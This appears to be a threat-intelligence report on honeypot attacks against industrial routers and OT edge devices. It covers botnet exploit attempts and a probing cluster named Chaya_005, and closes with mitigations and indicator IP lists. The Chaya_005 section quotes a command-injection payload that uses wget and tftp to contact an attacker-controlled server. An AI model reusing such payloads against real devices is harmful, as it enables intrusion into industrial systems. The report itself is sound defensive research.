OT Network Security Threats: Industrial Routers Under Attack

In September, the pro-Russian hacktivist group TwoNet compromised the human-machine interface (HMI) of the water treatment honeypot in our Adversary Engagement Environment (AEE).

Hacktivists are increasingly compromising and defacing HMIs via manual exploits, but other exposed IoT and OT assets, such as IP cameras, PLCs, and routers are also frequently attacked. How are they targeted? By automated scanners, botnets, and other malicious activity.

Here, we analyze 90 days of activity within our honeypots to show the kind of OT security threats constantly being faced. This helps us better understand the type of devices under attack while capturing unique attack behavior, so asset owners can better mitigate these risks.

The most relevant finding in the analysis period was a cluster we named Chaya_005, which started with a successful exploit against a Sierra Wireless router, but then mixed malformed exploits for other edge devices.

 

Overall Statistics

For this analysis, we split the AEE assets in three categories:

• ‘OT Perimeter’ containing four edge devices: three industrial wireless routers and an industrial firewall, all from different popular vendors.
• ‘Exposed OT’ containing four assets that should not be exposed online: three PLCs, and a webserver with the HMI that was defaced by TwoNet.
• ‘Others’ containing an IP camera, a medical device and an IT VPN router common in small and medium businesses. This category is just used for comparison with the OT assets.

Over 90 days, these 11 devices received over 60 million requests flagged by our intrusion detection system (IDS), for an average of eight per second. Across all three categories, this data point immediately stands out: 97% of interactions were SNMP requests and 95% were directed at the firewall.

Out of these, 99.9% were requests to object identifier (OID) 1 – the root of the entire SNMP OID tree – or 1.3.6.1 – the root of the internet subtree. The intention of these scans was likely the basic fingerprinting of devices, but since these are not leaf nodes, the returned content depends on the SNMP agent and it may be an error.

Therefore, we removed SNMP requests for our further analysis which left us with roughly 3.5 million events. These were more evenly distributed per device as follows:

The firewall still stood out as the most targeted device when counting both total interactions and unique IP addresses. That device was followed by one of the OT routers, the IP camera, and then another OT router.

The figure below shows more clearly that when focusing on OT only (i.e. excluding the ‘Others’ category), the OT perimeter captured two thirds of requests versus one third for exposed OT:

Therefore, we focus the rest of the analysis on the events that targeted the edge devices.

 

Attacks on the OT Perimeter

The events targeting the OT perimeter were distributed per protocol as shown below. SSH and Telnet accounted for 72% of the requests and those were mainly brute force authentication attempts. HTTP and HTTPS accounted for 24%. The ‘Others’ category accounted for 4% of requests which were generally irrelevant since the devices would not respond to them anyway. This category contains mostly SIP and DNS, followed by a multitude of others, including TFTP, SMB, Modbus, MQTT, and IKE.

For Telnet and SSH connections, the figure below shows the most used credentials (usernames and passwords). All the top 20 credentials are present in a list of default IoT credentials that has been circulating online since 2016 and is shared across many botnets and scanners, except for ‘service’ which is a generic brute force attempt.

Most of these credentials do not apply to any device in the AEE, although some use default weak combinations, such as root/admin. So there is a risk of compromise from automated botnets when using weak passwords – which has been known for almost a decade.

Things start to get more interesting when we look into HTTP requests. The vast majority of POST and GET requests were either benign indexing (such as “/” or “/robots.txt” ) or potentially malicious attempts to scan device webservers for specific files, such as “/php/login.php”. But among these requests, there were almost 3,000 that we could map to attempted vulnerability exploitations used to contact external servers, typically to download malware into a device.

Once again, most of those requests would not be valid for the devices in the AEE, as they were automatically attempted by botnets against potentially any IP address without prior fingerprinting. The most relevant attempted exploitations in this category were against the following CVEs:

• CVE-2024-12856 against Four-Faith industrial routers, not a device that was part of this analysis.
• CVE-2024-0012, CVE-2024-9474 and CVE-2025-0108 against several versions of PAN OS, but not the version running on the AEE firewall.

The 3,000 malicious requests were distributed per malware family as follows:

Aside from the Redtail cryptominer and the Chaya_005 cluster (which we will detail below and could not map to known activity), all others are DDoS or proxy botnets. Two are particularly noteworthy:

• RondoDox is a relatively new botnet first spotted around May. It has been quickly adding new exploits to its arsenal. It now counts over 50 vulnerabilities on IoT devices. Several have no assigned CVE identifiers. This ‘shotgun’ approach to exploitation seems to be working: it was the most active botnet we noticed in these 90 days by far. If the botnet adds known vulnerabilities for industrial edge devices, this could become risky for asset owners very quickly.
• ShadowV2 is even newer. It was first spotted in June and is already the third most common botnet in our analysis. The same risk considerations apply for asset owners despite targeting mostly D-Link and TP-Link routers. This botnet hasn’t been adding as many exploits as RondoDox.

These malware have a common way of infection: they exploit HTTP vulnerabilities, such as command injections and path traversals to execute a command that will reach a server and download a binary to be executed on the infected device. That binary will then try to infect other devices and continue the cycle. The IP addresses observed as downloaders in this 90-day period are reported in the IoC section.

 

Chaya_005: Fingerprinting Vulnerable Edge Devices

Following our naming convention for activity clusters that are not attributed to any known threat actor or region, we decided to name a relevant cluster of requests as Chaya_005.

Chaya_005 originally consisted of 70 HTTP POST requests between October 22 and December 3, 2025, all originating from IP address 31.57.243.170 and all directed at “/xml/Connect.xml”. This URL is a valid endpoint on the router that was being targeted (a Sierra Wireless LS300 which reached end-of-support in December 2021).

Although the target and endpoint were a valid combination, the exploit was incorrectly using several variations of: “action=login&kPath=<payload>&loginUser=admin&loginPwd=pass”. The closest thing we could find for this request was an exploit for CVE-2020-8515 affecting DrayTek routers. However, the vulnerable parameter should be “keyPath” instead of “kPath”. Even with the correct parameter, this would not work against the Sierra Wireless router.

Even if the exploit was incorrect, the payloads were interesting. There were several  versions of: %27%0Awget%20http%3A//31.57.243.170/SW068F8861C11312F%0A%27 where instead of wget, the attackers tried tftp, ftpget, curl, and other utilities. All variations did the same: attempt to contact the server on 31.57.243.170 using either HTTP or FTP.

 

Payload Analysis

All payload versions carried a signature resembling the one shown above: SW068F8861C11312F. It is common for botnets to use seemingly random names for the files downloaded from a server, so that was our first assumption. However, we could never download any file on that server.

These signatures had more distinctive patterns than required for a filename. By analyzing the 70 originally available examples and others obtained from the pivoting we will describe below, we found the following patterns:

• The first character can be either S or B. This informs the attacker whether the command has been run directly in the shell (S) or via busybox (B).
• The second character can be either T, F, C, or W depending on the utility: (T)ftp, (F)tpget, (C)url, or (W)get, respectively.
• The third character can be either 0, 1, or 2. They are valid only for tftp and indicate a command configuration:
  • ST0 corresponds to “tftp 31.57.243.170 -c get <signature>”
  • ST1 corresponds to “tftp -r <signature> -g 31.57.243.170”
  • ST2 corresponds to “echo get 31.57.243.170:<signature> | tftp”
• The next eight characters are a hex representation of the timestamp for the request. For instance, in ST167913F7A1362D2, the hexadecimal characters “67913F7A” represent “1737572218” in decimal, which corresponds to Wednesday, January 22, 2025, 6:56:58 PM GMT in UNIX epoch.
• We could not fully decode the last six characters. They may be a random number to identify the session. We saw identical signatures coming from the same IP address, at the same time, against the same device, whose only difference were the attacked port (9443 vs 9119). A few days later, the same attack patterns whose only difference was time resulted in a different signature.

During the scans, the IP address 31.57.243.170 was running a vsFTPd 3.0.3 server on port 21 and an unspecified HTTP server on port 80. The HTTP server returned error 404 (“not found”) even for the root path.

Based on the characteristics of the payload signature and the server, we believe these requests were used to probe the capabilities available in target systems. If a request was successful – meaning the device was vulnerable – the attacker would have an entry in their HTTP/FTP logs informing them which system was vulnerable to a specific kind of attack execution, and would identify when the test worked.

This kind of capability is not typical DDoS botnet behavior, but it may be useful to maintain an inventory of devices that can later be exploited for a particular reason, such as to download a botnet, cryptominer, residential proxy, or other malicious software to the target.

 

Pivoting on the Payload

When we searched for similar payload signatures within previous timeframes, we saw that the type of request associated to Chaya_005 has been happening for at least two years – with the same behavior initiated from several other IP addresses – targeting different endpoints of multiple devices, not limited to Sierra Wireless. This figure summarizes these other clusters:

We kept clusters 1-5 under the Chaya_005 umbrella because of the unique payload signatures, rather than because of device targeting or specific CVEs.

Although most IP addresses used in clusters 1-4 were no longer active, it was interesting to see that the IP address used in cluster 5 had previously been used for cluster 2 (almost a year before). The IP address of cluster 4 (79.141.172.211) still had an almost identical configuration as the IP address of cluster 5 at the end of November, shown in the figures below.

Only on the first cluster, the attackers were successful with an exploit. At that time, they used payloads to exploit CVE-2018-4063 on our Sierra Wireless router, as shown in this figure.

This first cluster may have been a manual exploitation attempt because the attacker rotated three different IP addresses in the first nine days. This is the only instance where the exploit is well-formed and targets the correct device. In all other clusters, there were attempts against endpoints of other edge devices (DrayTek and Cisco IOS XE) with exploit payloads that did not match the actual target.

We also searched for similar payload signatures on public repositories and found at least two instances submitted to VirusTotal. This means our honeypot was not the only target:

• https://www.virustotal.com/gui/url/1375b9907f3ab408582d3c8893649bc86b8edd5803df8e937e319372db159e7a – http://31.57.243[.]170/BC067EFEB001FA990 submitted from Israel on April 10, 2025 although the timestamp “67EFEB00” corresponds to April 4, 2025
• https://www.virustotal.com/gui/url/f43874dfff0ae0dcaf73f6393d4ea52464aff8030e6d3289dcac46d7e40664bc/telemetry – http://51.210.138[.]92/SW065DF14194C4223 submitted from Poland on March 4, 2024 although the timestamp “65DF1419” corresponds to February 28, 2024

 

Summary Assessment

We cannot precisely identify what is behind Chaya_005. It could even be ‘non-malicious’ scans from researchers or a legitimate company, although that is unlikely. The real exploits would be unethical at minimum.

Chaya_005 appears to be a broader reconnaissance campaign testing multiple vendor vulnerabilities rather than focusing on a single one. So far, we only observed successful exploitation in cluster 1 for Sierra Wireless CVE-2018-4063. Even so, there are a few characteristics that made Chaya_005 stand out to us:

• The attempted exploits mix activity seen in other botnets (e.g., CVE-2020-8515 on Draytek) and activity not previously associated with known malware (e.g., CVE-2018-4063).
• We never saw any file stored or downloaded on the contacted servers.
• We never saw port scan activity from the IP addresses used in Chaya_005. This indicates that the attackers preemptively built a list of potential candidates either from a separate scanning infrastructure or from public repositories like Shodan.
• We never saw subsequent activity or attempts to exploit different devices. This indicates that the activity originates from scanning infrastructure focused exclusively on edge devices, despite the singular behavior of using malformed exploits for the most part.
• The IP address active in October-December 2025 (31.57.243.170) had been used for the same scans almost a year before which is not typical for a botnet infection.
• The IP addresses used in the attacks did not seem to be infected by botnets when targeting our systems. We did not see unrelated requests on our honeypots and could not find third-party threat intelligence indicating that they were targeting others.
• The closest potentially related activity we could find was from the Water Barghest intrusion set:
  • IP address 51.210.138.92 was part of Chaya_005 cluster 1 on Jan 8 and Jan 29, 2024 and hit a target in Poland on February 28, 2024. In between these two activities, on February 1, the same IP address was serving a file on http://51.210.138[.]92/QSAE. This file (also seen with several other four-letter names such as BHLS, MYFM and DPBW) is the Ngioweb botnet associated with Water Barghest.
  • IP address 185.45.195.12 is in the same subnet as 45.195.14 that was part of Chaya_005 cluster 3 between December 16, 2024 and January 20, 2025. The address ending in 12 was seen serving the same Ngioweb file on November 11, 2023 (a year prior to the Chaya_005 activity). Although the IP addresses are “close” the time difference makes this point less relevant than the first one.

We do not believe that Chaya_005 is currently a significant threat because we have not seen evidence of successful exploitation after cluster 1. Since Sierra Wireless routers are very popular and can still often be found with HTTP management interfaces online, it is important for asset owners to pay attention.

While legacy devices may remain vulnerable, the combination of available patches, product obsolescence, and network retirement contextualizes the actual threat landscape:

• CVE-2018-4063 is a six-year-old patched vulnerability in an end-of-support product
• As a 3G-only device, LS300 connectivity is limited by carrier network sunsets (completed in North America 2022, progressing globally), which will reduce the population of remotely exploitable devices

 

Conclusion and Mitigation Recommendations

The key takeaway from this research is that OT perimeter devices receive more attention from automated attacks than the unintentionally exposed OT. Although most activity on those devices is either not malicious or not successful exploitation, there are risks:  weak credentials, specific exploits being added to botnets, and malicious infrastructure used for probing specific devices.

Another important takeaway is that automated threats do not differentiate between IT and OT devices. Even on OT devices, there were several brute force and exploitation attempts using IT credentials or vulnerabilities. Similarly, in the past we have reported IoT botnets that packed OT-specific credentials.

Rather than looking at these events as meaningless or ineffective attacks, it’s important for asset owners to think about the increasing connectivity and different types of devices in their networks.

Consider the Mirai botnet infections in the Danish power sector that led to companies going into island mode: those started from ‘IT’ Zyxel firewalls used in the OT perimeter. When we analyzed those events in early 2024, we noticed a similar pattern throughout critical infrastructure, especially in Europe. Considering threats ‘IT-only’ or ‘OT-only’ can be dangerous. Securing both IT and OT together is fundamental.[

To safeguard OT environments, we recommend the following measures:

• Harden OT Devices. Identify all devices connected to your network, assess their open ports and credentials, and ensure that default or easily guessable credentials are changed. Disable any unused services to minimize attack surface.
• Segment the Network. Avoid directly exposing OT devices to the internet. Properly segment networks to isolate IT, IoT and OT devices limiting network connections to only authorized management and engineering workstations or among unmanaged devices that need to communicate.
• Monitor for Threats. Implement IoT/OT-aware monitoring solutions that can detect malicious indicators and behaviors. This includes flagging the use of blacklisted credentials and unauthorized OT protocol activity within your network.

IoCs

Indicators of Compromise (IoCs) including IP addresses and others not listed here for brevity, such as file hashes, are available on the Forescout Research – Vedere Labs threat feed.

• Chaya_005:
  • 103.106.66.206
  • 172.86.88.88
  • 185.45.195.14
  • 206.206.123.95
  • 23.95.235.22
  • 31.57.243.170
  • 5.181.3.24
  • 51.210.138.92
  • 79.141.172.211
  • 89.185.80.110
• Mozi downloader IPs:
  • 103.158.171.55
  • 103.168.3.215
  • 110.39.231.50
  • 115.49.200.151
  • 117.206.100.73
  • 180.191.255.106
  • 192.21.165.83
  • 217.65.221.197
  • 45.230.66.110
  • 45.230.66.113
  • 45.230.66.117
  • 45.230.66.125
  • 61.52.3.135
  • 66.167.169.156
• Mirai downloader IPs:
  • 23.177.185.39
  • 103.77.241.50
  • 196.251.86.86
  • 196.251.87.194
  • 213.209.143.37
  • 26.249.145.103
  • 91.231.222.192
  • 94.154.35.154
• Redtail downloader IPs:
  • 178.16.55.224
• V3G4 downloader IPs:
  • 64.225.49.218
• RondoDox downloader IPs:
  • 74.194.191.52
• ShadowV2 downloader IPs:
  • 81.88.18.108